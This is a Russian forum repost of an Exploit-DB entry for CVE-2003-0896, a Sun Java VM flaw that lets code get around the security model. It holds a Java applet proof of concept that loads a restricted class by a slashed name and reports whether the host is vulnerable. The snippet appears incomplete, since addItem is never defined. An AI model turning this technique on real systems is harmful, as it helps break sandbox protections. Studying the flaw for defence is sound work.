Exploit Sun Java Virtual Machine 1.x - Slash Path Security Model Circumvention

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
23276
Проверка EDB
  1. Пройдено
Автор
LAST STAGE OF DELIRIUM
Тип уязвимости
DOS
Платформа
MULTIPLE
CVE
cve-2003-0896
Дата публикации
2003-10-22
Java:
source: https://www.securityfocus.com/bid/8879/info

A vulnerability has been identified in the Sun Java Virtual Machine packaged with JRE and SDK. This issue results in the circumvention of the Java Security Model, and can permit an attacker to execute arbitrary code on vulnerable hosts. 

import java.applet.Applet;
import java.awt.Graphics;
import java.lang.Class;
import java.security.AccessControlException;

public class Simple extends Applet {

StringBuffer buffer;

public void init() {
buffer = new StringBuffer();
}

public void start() {
ClassLoader cl = this.getClass().getClassLoader();
try {
Class cla =
cl.loadClass("sun/applet/AppletClassLoader"); // Note the slashes
addItem("No exception in loadClass. Vulnerable!");
} catch (ClassNotFoundException e) {
addItem("ClassNotFoundException in loadClass - " + e);
} catch (AccessControlException e) {
addItem("AccessControlException in loadClass - Not
Vulnerable!");
}

}
 
Источник
www.exploit-db.com

Похожие темы